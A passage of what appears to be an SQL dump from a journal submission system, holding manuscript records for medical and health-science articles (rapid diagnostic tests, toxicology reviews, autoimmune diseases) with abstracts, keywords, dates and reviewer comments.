Co., Ltd is a lateral flow immunoassay that detects RSV antigens in respiratory specimens, including nasopharyngeal swabs and nasal aspirates. The performance of the RSV rapid test cassette (nasopharyngeal swab/nasal aspirate) has been evaluated using patient specimens, with RT-PCR serving as the benchmark reference method. \r\n\r\nPatients displaying respiratory symptoms provided nasopharyngeal swab and nasal aspirate specimens. Each patient’s sample was tested using the RSV rapid test and RT-PCR molecular assay and the results were compared. The RSV rapid test’s performance was calculated for sensitivity, specificity, and accuracy.\r\n\r\nWhen testing nasopharyngeal swab specimens, the RSV rapid test cassette resulted in a sensitivity of 92.7%, a specificity of 98.0%, and an accuracy of 95.6%. When testing nasal aspirate specimens, the RSV rapid test cassette showed a sensitivity of 92.6%, a specificity of 98.5%, and an accuracy of 96.0%.','RSV, rapid test, RT-PCR',4076,NULL,'2023-08-09',NULL,'Submitted',2,NULL,'2023-08-17',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14014,14083,45,0,'iphsj-23-14014','Health Sciences: Fusing Medicine and Science for the Betterment of Human Well-Being',NULL,6,0,'','Health science is an interdisciplinary field that encompasses diverse scientific disciplines and methodologies to promote human health and well-being. This article explores the significance of health science in bridging the gap between medicine and scientific research. It delves into key branches of health science, such as biomedical science, epidemiology, nutrition science, pharmacology, public health, and environmental health. The key principles of evidence-based practice, interdisciplinary collaboration, prevention, ethics, and continuous learning underpin the field\'s contributions to medical research and practice. Health science plays a crucial role in addressing global health challenges, including infectious diseases, non-communicable diseases, healthcare disparities, and environmental health threats. By investing in health science research, education, and infrastructure, society can pave the way for improved health outcomes and a healthier future for individuals and communities worldwide','Health science, interdisciplinary, evidence-based practice, biomedical science, epidemiology, public health, precision medicine, global health',4076,NULL,'2023-08-09',NULL,'Submitted',2,NULL,'2023-08-18',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14015,14084,1020,0,'ipmedt-23-14015','Biotechnological and Pharmaceutical Applications of Genetic Insights in Chronic Kidney Disease Management',NULL,5,0,'','Chronic Kidney Disease (CKD) poses a significant global health burden, necessitating innovative approaches for effective management. This article explores the integration of genetic insights into biotechnological and pharmaceutical strategies for enhancing CKD management. Genetic factors play a pivotal role in CKD susceptibility, progression, and response to treatments. Advances in genetic research have led to the identification of key genetic markers associated with CKD risk and progression. Leveraging this knowledge, biotechnological and pharmaceutical interventions are being tailored to individual genetic profiles, ushering in a new era of precision medicine for CKD. This article delves into the application of biotechnological tools, such as genome-wide association studies (GWAS) and next-generation sequencing (NGS), in identifying genetic variants linked to CKD. It also discusses how these insights are being harnessed to develop innovative pharmaceutical therapies targeting specific genetic pathways implicated in CKD pathogenesis. Additionally, the article highlights the potential of pharmacogenomics in predicting drug responses and adverse reactions among CKD patients, optimizing treatment outcomes while minimizing side effects. Furthermore, the integration of bioinformatics and computational modeling is explored, demonstrating how these approaches aid in deciphering complex genetic interactions and predicting disease trajectories. The article showcases case studies that illustrate the successful translation of genetic insights into biotechnological advancements, such as the development of personalized therapeutic regimens and the identification of novel drug targets. As the era of personalized medicine gains momentum, the amalgamation of genetic knowledge with biotechnological and pharmaceutical advancements holds immense promise for reshaping the landscape of CKD management. This article underscores the pivotal role that genetics plays in driving innovative solutions for CKD, ultimately leading to improved patient outcomes, reduced healthcare costs, and a brighter future for those affected by this debilitating condition.','Treatment optimization, Genetic pathways, Genetic susceptibility, Patient outcomes',5044,NULL,'2023-08-09',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14016,14085,981,0,'ipft-23-14016','Neurotoxicology: Unraveling the Complex Interplay between Chemicals and the Nervous System',NULL,5,0,'','Neurotoxicology is a multidisciplinary field that investigates the adverse effects of chemical agents on the nervous system. This review delves into the intricate relationship between various chemicals and neural health, exploring mechanisms of neurotoxicity, associated health impacts, and assessment strategies. Neurotoxic agents, including heavy metals, pesticides, industrial chemicals, and pharmaceuticals, disrupt neural function through mechanisms such as oxidative stress, neurotransmitter system interference, and inflammation. Cutting-edge techniques like stem cell-derived models and neuroimaging facilitate the assessment of neurotoxicity. By enhancing our understanding of these complex interactions, neurotoxicology contributes to informed risk management and the development of safer chemicals, safeguarding neurological well-being.','Neurotoxicology; Neurotoxicity Mechanisms; Heavy metals; Pesticides; Industrial chemicals; Pharmaceuticals, Neurotoxicity assessment; Neuroimaging; Risk management; Public health',5438,NULL,'2023-08-10',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14017,14086,981,0,'ipft-23-14017','A Comprehensive Review of Reproductive Toxicology: Mechanisms, Assessment, and Implications',NULL,5,0,'','Reproductive toxicology is a critical discipline within the realm of toxicology, dedicated to comprehending the adverse impacts of diverse agents on the male and female reproductive systems, as well as their potential repercussions on fetal development and the health of offspring. This review paper offers a comprehensive synthesis of the field of reproductive toxicology, encompassing its fundamental mechanisms, assessment methodologies, and broader implications for human well-being and environmental equilibrium. By consolidating contemporary research findings and elucidating emerging trends, this paper underscores the pivotal significance of unraveling reproductive toxicity to inform regulatory frameworks, elevate public health standards, and foster sustainable environmental practices. This abstract sets the stage for the comprehensive exploration of reproductive toxicology, encapsulating its core aspects and emphasizing its relevance in shaping policies and safeguarding human and environmental health.','Reproductive toxicology; Reproductive systems; Fetal development; Offspring health; Placental toxicity; Biomarkers; Epidemiological studies; Human health; Environmental health; Regulatory policies',5438,NULL,'2023-08-10',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14018,14087,981,0,'ipft-23-14018','Ecotoxicology: Understanding the Impact of Environmental Contaminants on Ecosystem Health',NULL,5,0,'','Ecotoxicology is a dynamic and interdisciplinary scientific discipline that investigates the adverse effects of environmental contaminants on living organisms and ecosystems. This research paper comprehensively explores the fundamental principles, methodologies, and real-world implications of ecotoxicology. It delves into the sources, types, and pathways of contaminants, highlighting their potential to accumulate and magnify through trophic levels. The paper examines case studies, including mercury contamination in aquatic systems, pesticide-induced pollinator decline, and the impact of microplastics on marine life, illustrating the tangible consequences of ecotoxicological research. Furthermore, the paper discusses the crucial role of risk assessment and regulatory frameworks in managing ecological risks and promoting sustainable practices. It also underscores the intricate connection between ecotoxicology and human health, emphasizing the need for informed decision-making and integrated policies. By providing a comprehensive overview of ecotoxicology\'s principles, applications, and future directions, this paper contributes to a deeper understanding of the intricate interplay between contaminants, ecosystems, and human well-being.','Ecotoxicology; Environmental contaminants; Toxicity; Bioaccumulation; Ecosystem health; Human health; Pollution prevention; Ecological impact; Anthropogenic pollutants; Aquatic ecosystems; Public health policies',5438,NULL,'2023-08-10',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14019,14088,981,0,'ipft-23-14019','Risk Unveiled: Assessing and Managing Environmental Toxins for a Safer Future',NULL,5,0,'','Environmental toxicology is a multidisciplinary field at the nexus of ecology, chemistry, and public health that investigates the intricate interplay between natural and anthropogenic substances and their adverse effects on living organisms and ecosystems. This comprehensive research article provides a systematic exploration of the fundamental principles, methodologies, and implications of environmental toxicology. The study begins by elucidating the diverse sources of environmental toxins, encompassing both naturally occurring compounds and synthetic chemicals originating from human activities. It examines the intricate pathways through which these toxins infiltrate ecosystems, including atmospheric deposition, waterborne transport, and soil contamination. Furthermore, the intricate mechanisms through which environmental toxins exert their toxic effects on biota are elucidated, spanning from subcellular perturbations to systemic disruptions. The pivotal role of risk assessment and management strategies is highlighted, underscoring the importance of quantitative evaluation in discerning potential hazards and establishing protective measures. \r\nThe symbiotic relationship between scientific research, policy development, and effective mitigation measures is explored in depth, emphasizing the need for harmonious collaboration to safeguard both environmental integrity and human well-being. Case studies underscore the real-world implications of environmental toxicology, spotlighting scenarios such as the detrimental impact of pesticides on vital pollinators and the urgent need for addressing lead contamination in drinking water systems. This article further underscores the dynamic nature of the field by shedding light on emerging research avenues, including the assessment of nanotoxicity and the ecological ramifications of microplastics pollution. Environmental toxicology stands as an essential cornerstone in understanding and addressing the multifaceted challenges posed by environmental toxins. By fusing scientific inquiry with policy-driven action, it lays the groundwork for sustainable practices and informed decision-making, fostering a harmonious coexistence between humanity and the natural world. This research article underscores the paramount significance of environmental toxicology in shaping a resilient and healthier future for all.\r\n','Environmental toxicology; Toxins; Pollution; Ecotoxicology; Hazard assessment; Risk management; Pesticides; Heavy metals; Sustainable practices; Ecosystem health; Environmental monitoring; Toxicological research',5438,NULL,'2023-08-10',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14020,14089,981,0,'ipft-23-14020','Advances in Toxicology: Understanding the Impact of Harmful Substances on Human Health',NULL,5,0,'','Toxicology is a multidisciplinary field that investigates the adverse effects of chemicals, physical agents, and biological substances on living organisms. This research paper provides an overview of the fundamental principles, methodologies, and recent advancements in toxicology, emphasizing its significance in assessing the impact of toxic agents on human health. The paper explores various branches of toxicology, including environmental, forensic, and clinical toxicology, while also highlighting the role of computational modeling in predictive toxicology. Case studies illustrate the real-world applications of toxicological research, ranging from environmental disasters to forensic investigations. By examining the evolving landscape of toxicology, this paper underscores its essential role in safeguarding public health and guiding regulatory decisions.','Toxicology; Biological substances; Living organisms; Fundamental principles; Methodologies; Human health; Toxic agents; Environmental toxicology; Forensic toxicology; Clinical toxicology; Computational modeling; Public health',5438,NULL,'2023-08-10',NULL,'Submitted',2,NULL,'2023-08-11',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(14021,14090,45,0,'iphsj-23-14021','Has the COVID-19 pandemic impacted the food consumption of people with chronic diseases?',NULL,15,0,'','Objectives: To systematically review the evidence of the impact of the critical period of the COVID-19 pandemic on changes in food consumption by adults with chronic noncommunicable diseases (NCDs). Methods: Two evaluators analyzed the electronic databases Medline, SciELO, Embase and BVS between March 2020 and August 2021. Terms with the Boolean operator AND were used to search for publications: “eating habits” AND “COVID-19” AND adult. The publications included were assessed for methodological quality and a qualitative synthesis was performed. The revision was registered with PROSPERO (No CRD42021275171). Results: Of the 341 identified studies, 10 were included in the review, of which 50% observed that people with NCDs worsened their food consumption, and the others either did not observe changes in consumption or observed improvement in consumption. These results indicate that confinement had different repercussions among patients with NCDs, but the worsening in food consumption was the most prevalent. Conclusion: Social distancing favored more commonly the practice of unhealthy consuming among people with NCDs indicating that in addition to being one of the groups most affected by the pandemic, it was more susceptible to negative changes in food consumption.','COVID-19. Noncommunicable diseases. Adults. Food intake.',59010,NULL,'2023-08-10',NULL,'Submitted',2,NULL,'2023-08-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(14022,14092,251,0,'ipacm-23-14022','Development of new anticancer virus-based treatments: A comprehensive review',NULL,15,0,'','Oncolytic virotherapy has turned into a noteworthy cancer therapeutic approach, preferentially targeting and killing cancerous cells without affecting healthy cells. Oncolytic viruses\' propensity to proliferate specifically in tumor cells results in rapid cell disruption and the development of an aggressive antitumor immune reaction. The advances in molecular biology and biotechnology approaches for genetic manipulation of recombinant viruses for clinical applications have made real progress. Modifications in the genetic sequence of oncolytic viruses can enhance cell-targeting efficacy. This evolving research has resulted in improvements in the efficacy and specificity of OVs as an alternative therapeutic approach for malignant tumours, albeit with significant methodological flaws. Nevertheless, it has become obvious that oncolytic viruses alone may not be able to offer a comprehensive response for cancer treatment, necessitating the use of combinatorial techniques. Emerging multimodality treatment strategies could include oncolytic virotherapy along with other anti-tumor therapies involving chemotherapy, CAR-T cell therapies, radiotherapy, immune checkpoint inhibitors (ICIs), and bi-specific T cell engagers. Various regulatory systems, like autophagy, assist in the anti-tumor capabilities of oncolytic viruses by boosting their anti-tumor activities through activation of oncolysis, immunogenicity, and autophagic cell death. Such combinatorial therapies with oncolytic viruses could be useful for further enhancing treatment consequences as multiple component strategies can report the errors of every component. The intrinsic constraints of oncolytic viruses and other drugs against certain types of cancer can be mitigated by a sensible genetic design and a combination strategy','Oncolytic viruses; Cancer treatment; Autophagy; OVs; Antitumor response; Combinatorial therapy',59083,NULL,'2023-08-11',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'0','Proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14023,14093,73,0,'ipjnn-23-14023','The Safety of Promoting  Fish Consumption in Pregnancy',NULL,3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',9265,NULL,'2023-08-16',NULL,'Submitted',2,NULL,'2023-09-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14024,14094,73,0,'ipjnn-23-14024','Reconstruction in Major Peripheral Nerve Injuries ','',3,1,'Neurodegenerative Disorders','','',9233,'','2023-08-21',NULL,'Submitted',2,0,'2023-11-04','',1,1,'1','Accepted',0,'','',0,0,0,0,NULL,0),(14025,14083,45,0,'iphsj-23-14025','The Role of Complementary and Alternative Medicine in Emerging Health Issues',NULL,17,0,'','Complementary Medicine refers to medical practices that are used alongside conventional treatments but are not considered part of mainstream medicine, such as herbal remedies, acupuncture, and chiropractic care. Over the recent years, infertility has ascended to the ranks of the third most prevalent public health concern, trailing only cardio-cerebrovascular ailments and tumors. A recent study by Feng et al [1] discusses the phenomenon of female infertility, characterized as a fertility disorder arising from multiple causative or etiological factors. The increasing prevalence of female infertility is attributed to diverse factors that include societal pressures, delayed marriage, resulting in adverse consequences encompassing economic strain, psychological distress, and potential marital discord. Conventional treatments, such as hormone therapy, in vitro fertilization, and embryo transfer, are noted for their suboptimal obstetric outcomes and potential complications and adverse effects','',4076,NULL,'2023-08-22',NULL,'Submitted',2,NULL,'2023-08-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14026,14095,45,0,'iphsj-23-14026','Guava-A wonder Fruit',NULL,5,0,'','Guava is the most important tropical fruit which originated in Central America. It has been found that it is a very rich source of fiber, vitamin A, iron, phosphorous as well as calcium. Guava is a rich source of antioxidants due to presence of compounds like flavonoids which help in curing cancerous cells and control skin aging. Studies have shown that guava as well as its leaf extract have many medicinal properties like it help in curing diseases like diarhoe, reducing fever, dysentery, gatroentritis, hypertension, diabetes, caries, pain, wounds, menstruation, digestion, weightloss and boost immunity. Guavas also have activities like antimicrobial, antimutagenic as well as relaxing, so it can be said that consumption of guava is very important in our daily diet','Guava, diseases, Antioxidants, fiber',4076,NULL,'2023-08-22',NULL,'Submitted',2,NULL,'2023-09-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14027,14081,45,0,'iphsj-23-14027','Rapid Detection of Clostridium difficile Infection: Performance Evaluation of the GDH + Toxin A + Toxin B Combo Rapid Test Cassette',NULL,14,0,'','Clostridium difficile, an anaerobic bacterium, opportunistically thrives in the intestinal tract when the normal microbiota is disrupted by antibiotic treatment. It acts as a pathogen, capable of causing various infections ranging from mild diarrhea to life-threatening pseudomembranous colitis. The pathogenicity of this disease is attributed to two toxins: Toxin A, an enterotoxin causing tissue damage, and Toxin B, a cytotoxin. While some strains produce both toxins, others produce only Toxin B. The role of a third toxin, known as the binary toxin, in the pathogenicity of Clostridium difficile is still a subject of debate. The detection of Glutamate Dehydrogenase (GDH), an antigen marker for C. difficile proliferation, has proven to be highly effective as all strains produce this enzyme abundantly.','Clostridium difficile, rapid test, chromatographic immunoassay',4076,NULL,'2023-08-23',NULL,'Submitted',2,NULL,'2023-09-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14028,14082,45,0,'iphsj-23-14028','Evaluation of the Norovirus/Rotavirus/Adenovirus Combo Rapid Test Cassette (Feces) for Rapid Diagnosis of Viral Gastroenteritis',NULL,14,0,'','Norovirus, rotavirus, and adenovirus are common viruses that can cause gastroenteritis in humans. Rapid tests for the detection of these viruses are crucial for timely diagnosis and treatment. The objective of this study was to assess the performance characteristics of the Norovirus/Rotavirus/Adenovirus Combo Rapid Test Cassette (Feces) for the rapid diagnosis of these infections.\r\n\r\nThe Norovirus/Rotavirus/Adenovirus Combo Rapid Test Cassette (Feces) is a chromatographic immunoassay that offers a rapid and user-friendly screening tool for the qualitative detection of norovirus, rotavirus, and adenovirus in human feces samples. Fecal specimens were collected from patients exhibiting gastroenteritis symptoms and subsequently subjected to testing using the combo rapid test. The detection of norovirus was compared with other established tests in the industry, while the detection of rotavirus and adenovirus was compared with the latex agglutination method. Subsequently, the combo rapid test’s sensitivity, specificity, and accuracy were calculated.','Norovirus, Rotavirus, Adenovirus, Rapid Test, Diagnosis',643,NULL,'2023-08-23',NULL,'Submitted',2,NULL,'2023-09-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14029,14096,971,0,'ipaclr-23-14029','Effectiveness in the Preventive Management of Malnutrition in Under-Fives by Mothers and Care-Givers in the Azire Health area in North-West Cameroon',NULL,14,0,'','According to WHO, malnutrition remains the biggest contributor to child mortality with 6million children dying from hunger each year. Malnutrition can also occur when an individual’s diet does not provide him/her with adequate calories and proteins needed for maintenance and growth or they cannot fully utilize the food they eat due to illness while those who suffer from over nutrition consumes too many calories.\r\nThe main objective was to assess the knowledge and practical measures employed by mothers and caregivers in Azire Health Area in the preventive management of malnutrition.\r\nThe cross-sectional design was employed in which primary data was collected from a sample of mothers with under-five children to be a representative of mothers with under-five children in the study site; on their knowledge and its preventive management in the under-fives and their findings analyzed.\r\n Results reveal 78.9% had good knowledge on what malnutrition is. On the distribution of respondents according to their knowledge on the diseases caused by malnutrition, 84.3% had a good knowledge on the diseases caused by malnutrition while 16.7% had no knowledge. For those with good knowledge of the disease caused by malnutrition, 78% said kwashiorkor.\r\n   Of the mothers who could not ensure that their baby had a balanced diet, 66.6% complained of lack of finance while 33.3% complained of inadequate knowledge on which food was best for the child.  With respect to the proposed solutions to combat malnutrition, 51.9% said IEC should be reinforced.\r\n   Malnutrition remains a serious global health issue affecting almost everyone in the developing world at some point in their life with under-five being the most vulnerable. Children who are spaced and well fed stand a better chance of being healthy and having good cognitive abilities than those who are not.','Malnutrition, balanced diet, under-fives, kwashiorkor, marasmus, mothers.',3236,NULL,'2023-08-24',NULL,'Submitted',16,NULL,'2023-08-28',NULL,1,1,'1','Thank you for your submission. The paper has a good contribution to the literature and paves the way for future research in this emerging field. Keywords are fine.Methodology is clearly explained the problems of malnutrition in IN NORTH-WEST CAMEROON.  An interesting topic to research which clearly explained\r\nThe literature review provides a good justification for the paper.\r\nReferences must be arranged in Chronological order the references which cited in text must be in bottom.\r\nKeep references in numbers in text like cite [1].\r\n I enjoyed reading your manuscript and well done.\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(14030,14097,45,0,'iphsj-23-14030','Knowledge sharing practice and associated factors among health professionals in Ethiopia',NULL,14,0,'','Background:  Numerous health data and information are generated in the routine activity of health facilities. These numerous health data and experiences are input for information, experience, and knowledge sharing, and learning. Therefore, this study aimed to assess knowledge-sharing practice and identify its associated factors among health professionals.\r\nMethods: A stratified simple random sampling technique among 423 samples was conducted with an institutional-based cross-sectional study design. A pretested self-administered questionnaire and STATA version 15 software were used for data processing and analysis. Descriptive statistics and a multivariable logistic regression model were applied to assess the strength of the association between dependent and independent variables. A variable with a p-value <0.05 with 95% CI was considered as a cut point.\r\nResults: 423 respondents participated in this study. Health professionals’ knowledge-sharing practice was 65.01% (95% CI: 60.46-69.56). In multivariable logistic regression analysis,  awareness AOR=2.44, 95% CI= [1.32-4.50], willingness AOR=1.96, 95% CI= [1.10-3.53], loss of knowledge power AOR=0.192, 95% CI= [.12-.32], availability of health information resource AOR=2.00, 95% CI= [1.56-5.38], and opportunity AOR=2.91, 95% CI= [1.71-4.95] were significantly associated with knowledge sharing practice.\r\nConclusions: Health professionals’ knowledge-sharing practice was good,  but not optimal. Stakeholders needed to work on knowledge-sharing opportunities and resource allocation to promote health professionals\' knowledge-sharing practices, and professionals recommended to be willing for sharing experience and information.','Knowledge sharing, Practice, Health Professionals, Ethiopia.',4076,NULL,'2023-08-26',NULL,'Submitted',16,NULL,'2023-10-13',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14031,14098,971,0,'ipaclr-23-14031','Effectiveness of Coupled Plasma Filtration Adsorption Technique in Cytokine Storm Developing in Critical Covid-19 Patients. (Case Series)',NULL,14,0,'','Due to its immunopathology, the SARS-Cov-2 virus, which causes COVID-19 disease, leads to an uncontrollable release of cytokines, in which IL-6 plays a role, leading to damage in various organs, especially the lung. In COVID-19 patients, treatment of this cytokine storm is as important and life-saving as antiviral therapy. In this case series, we aimed to present six patients in whom we performed cytokine removal with Coupled Plasma Filtration Adsorption (CPFA) technique in critically ill COVID-19 patients diagnosed with cytokine storm who were hospitalized in the intensive care unit and connected to mechanical ventilator.','Coupled plasma filtration adsorption, COVID-19, cytokine storm, cytokine removal',4710,NULL,'2023-08-28',NULL,'Submitted',2,NULL,'2023-09-13',NULL,1,1,'1','Thank you for your submission. The paper has a good contribution to the literature and paves the way for future research in this emerging field. Keywords are fine.\r\nAn interesting topic to research which clearly showed \"Effectiveness of Coupled Plasma Filtration Adsorption Technique in Cytokine Storm Developing in Critical Covid-19 Patients. (Case Series)\".\r\nThe literature review provides a good justification for the paper.\r\n I enjoyed reading your manuscript and well done.\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(14032,14099,996,0,'ipar-23-14032','Ankylosing Spondylitis: Understanding the Impact and Management of a Complex Condition',NULL,2,0,'','This article provides a comprehensive overview of ankylosing spondylitis (AS), a chronic inflammatory disorder primarily affecting the spine and sacroiliac joints. With a focus on its causes, symptoms, diagnosis, and management, the article underscores the genetic and immune-related factors contributing to AS onset. Common symptoms such as pain, stiffness, and limited mobility are discussed, along with the diagnostic challenges posed by the condition\'s varied presentation. The management of AS encompasses medications, exercise, lifestyle adjustments, and emotional support. The article also emphasizes the potential emotional impact of AS and highlights the significance of a holistic approach to improve patients\' overall well-being.','Chronic inflammatory disorder, spine, sacroiliac joints, symptoms, diagnosis',3649,NULL,'2023-08-28',NULL,'Submitted',14,NULL,'2023-11-13',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14033,14100,996,0,'ipar-23-14033','Enhancing Patient Outcomes through Comprehensive Healthcare Strategies',NULL,2,0,'','This article delves into the intricate realm of patient outcomes enhancement within modern healthcare. A compilation of factors contributing to optimized patient care is presented, ranging from holistic patient-centered approaches to groundbreaking precision medicine initiatives. The integration of telehealth services and remote monitoring, coupled with the power of interdisciplinary collaboration, is explored as an avenue to foster improved patient outcomes. The transformative impact of health information technology, including electronic health records and clinical decision support systems, is underscored. Preventive care and health promotion strategies are also discussed in light of their pivotal role in reducing chronic disease prevalence. This comprehensive exploration highlights the amalgamation of innovative methodologies that collectively pave the way for a future marked by superior patient outcomes and a heightened quality of life.','Patient outcomes, Healthcare strategies, Holistic care, Patient-centered approach, Precision medicine',3649,NULL,'2023-08-28',NULL,'Submitted',14,NULL,'2023-11-13',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14034,14101,996,0,'ipar-23-14034','Exploring the Significance of Biomarkers in Health and Medicine',NULL,5,0,'','Biomarkers represent a transformative advancement in modern healthcare, providing invaluable insights into the intricate web of physiological processes and disease states within the human body. These measurable indicators, encompassing an array of molecules and cellular structures, offer a multidimensional perspective on health and disease. This abstract elucidates the diverse roles of biomarkers in health and medicine, exploring their classification into diagnostic, prognostic, predictive, monitoring, and pharmacodynamic categories. By enabling early detection, personalized treatment, and precise drug development, biomarkers have revolutionized medical practice. This abstract underscores their significance as tools for disease detection, prognosis, and treatment efficacy assessment, while shedding light on their pivotal role in research, thereby paving the way for a new era of precision medicine.','Biomarkers, Biological markers, Health, Disease, Diagnosis',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-11-13',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14035,14102,996,0,'ipar-23-14035','Juvenile Idiopathic Arthritis: Understanding and Managing a Childhood Condition',NULL,17,0,'','Juvenile Idiopathic Arthritis (JIA) is a prevalent autoimmune disorder affecting children and adolescents worldwide. This abstract provides a concise overview of the condition\'s essential aspects, including its classification, etiology, clinical manifestations, diagnosis, and management strategies. JIA encompasses a spectrum of subtypes, each characterized by distinct clinical features and joint involvement patterns. Although the precise cause remains elusive, genetic predisposition and environmental triggers are believed to contribute to disease onset. Common symptoms encompass joint pain, swelling, and stiffness, often accompanied by systemic manifestations. Diagnosis relies on thorough clinical evaluation, laboratory tests, and imaging studies to rule out other potential causes. A multidisciplinary approach to management is essential, combining pharmacological interventions, physical therapy, and psychosocial support. With early diagnosis and comprehensive care, children with JIA can achieve improved quality of life and long-term well-being. This abstract underscores the significance of awareness, timely intervention, and collaborative healthcare efforts in addressing the challenges posed by Juvenile Idiopathic Arthritis.','Juvenile Idiopathic Arthritis, JIA, childhood autoimmune disorder, pediatric rheumatology, arthritis subtypes',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-09-01',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14036,14103,996,0,'ipar-23-14036','Systemic Lupus Erythematosus: Unraveling the Complexities of a Multifaceted Disease',NULL,2,2,'','Systemic Lupus Erythematosus (SLE) is a chronic autoimmune disease characterized by immune system dysfunction leading to self-directed attacks on various organs and systems. This article provides an overview of SLE, discussing its etiology, diverse symptomatology, diagnostic challenges, treatment modalities, ongoing research, and the impact on patients\' lives. Despite the absence of a singular causative factor, genetic, environmental, and hormonal influences are implicated in disease onset. Symptoms range from joint pain and skin rashes to potential involvement of vital organs, contributing to diagnostic intricacies. Diagnosis often necessitates a combination of clinical evaluation, history assessment, physical examinations, and laboratory tests. Management requires interdisciplinary collaboration, employing medications like NSAIDs, corticosteroids, and DMARDs to control inflammation and prevent organ damage. Advances in research focus on unraveling SLE\'s genetic and immunological underpinnings, leading to novel therapies targeting specific immune components. This article emphasizes the importance of a supportive network for individuals navigating the challenges of living with SLE. Ultimately, ongoing research endeavors offer promise for enhanced diagnostic accuracy, targeted therapies, and improved patient outcomes in the realm of SLE management.','Systemic lupus erythematosus, Autoimmune disease, Immune system dysfunction, Chronic condition',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-11-13',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14037,14104,996,0,'ipar-23-14037','Understanding Disease Progression: From Onset to Advanced Stages',NULL,19,0,'','Disease progression, the dynamic process through which a medical condition evolves from its inception to advanced stages, holds significant implications for healthcare and research. This article delves into the stages of disease progression, starting from the initial onset of symptoms to the advanced and potentially irreversible phases. Factors influencing disease progression, including genetics, lifestyle choices, and medical interventions, are explored, highlighting their roles in shaping the trajectory of various conditions. The importance of comprehending disease progression is underscored by its relevance in treatment development, prognosis estimation, clinical trial design, and public health planning. As we unravel the intricate pathways of disease advancement, we pave the way for more effective interventions and improved patient outcomes.','',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-11-13',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14038,14105,996,0,'ipar-23-14038','Understanding Psoriatic Arthritis: Symptoms, Causes, and Management',NULL,2,0,'','Psoriatic arthritis, a chronic autoimmune disorder closely associated with psoriasis, presents a complex interplay of symptoms, causes, and management strategies. This article provides an overview of this condition, highlighting its distinctive symptoms including joint pain, skin changes, and fatigue. The genetic and environmental factors contributing to its onset are explored, with genetic predisposition and triggering events playing pivotal roles. Diagnosis involves a combination of clinical evaluation, medical history, and imaging techniques, while management encompasses a range of options. These include medications, physical therapy, lifestyle adjustments, and surgical interventions. A holistic approach focusing on early detection and personalized treatment is crucial for enhancing the quality of life for those affected by psoriatic arthritis.','Psoriatic arthritis, symptoms, causes, management, autoimmune disorder, psoriasis',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-11-13',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14039,14106,996,0,'ipar-23-14039','Understanding Rheumatoid Arthritis: Causes, Symptoms, and Treatment',NULL,2,0,'','Rheumatoid arthritis (RA) is a prevalent autoimmune disorder that affects joints, causing pain, inflammation, and eventual joint damage. This paper provides a comprehensive overview of RA, delving into its etiology, pathophysiology, clinical manifestations, and available treatment modalities. Despite the multifaceted nature of its origins, genetic predisposition, environmental triggers, and immunological factors collectively contribute to the development of RA. The immune system\'s attack on synovial tissues gives rise to chronic inflammation, leading to joint deformities and impaired functionality. Recognizing early symptoms, aided by diagnostic tools such as blood tests and imaging, is pivotal for prompt intervention. A range of treatment options, including medications physical therapy, lifestyle adjustments, and surgery, offer avenues for managing symptoms and slowing disease progression. Ongoing research and advancements in rheumatology promise a brighter future for individuals living with RA, underscoring the significance of continued exploration into this intricate autoimmune challenge.','Rheumatoid arthritis, Autoimmune disorder, Joint inflammation, Joint damage, Genetic predisposition',3649,NULL,'2023-08-28',NULL,'Submitted',12,NULL,'2023-11-13',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14040,14107,996,0,'ipar-23-14040','Understanding Sjögren\'s Syndrome: Unraveling the Challenges of a Complex Autoimmune Disorder',NULL,2,2,'','Sjögren\'s syndrome, a systemic autoimmune disorder primarily affecting exocrine glands, presents a complex clinical landscape with challenges in diagnosis, symptom management, and treatment. This article provides a comprehensive overview of Sjögren\'s syndrome, exploring its autoimmune origins, diagnostic intricacies, symptom management strategies, and current research directions. The syndrome\'s hallmark dry eyes and mouth symptoms, stemming from immune-mediated glandular dysfunction, often lead to delayed diagnosis due to symptom overlap with other autoimmune conditions. Diagnosis relies on a combination of clinical assessment, serological markers, and specialized tests such as lip biopsies. While there is no cure, symptom management encompasses a range of approaches, from artificial tears and 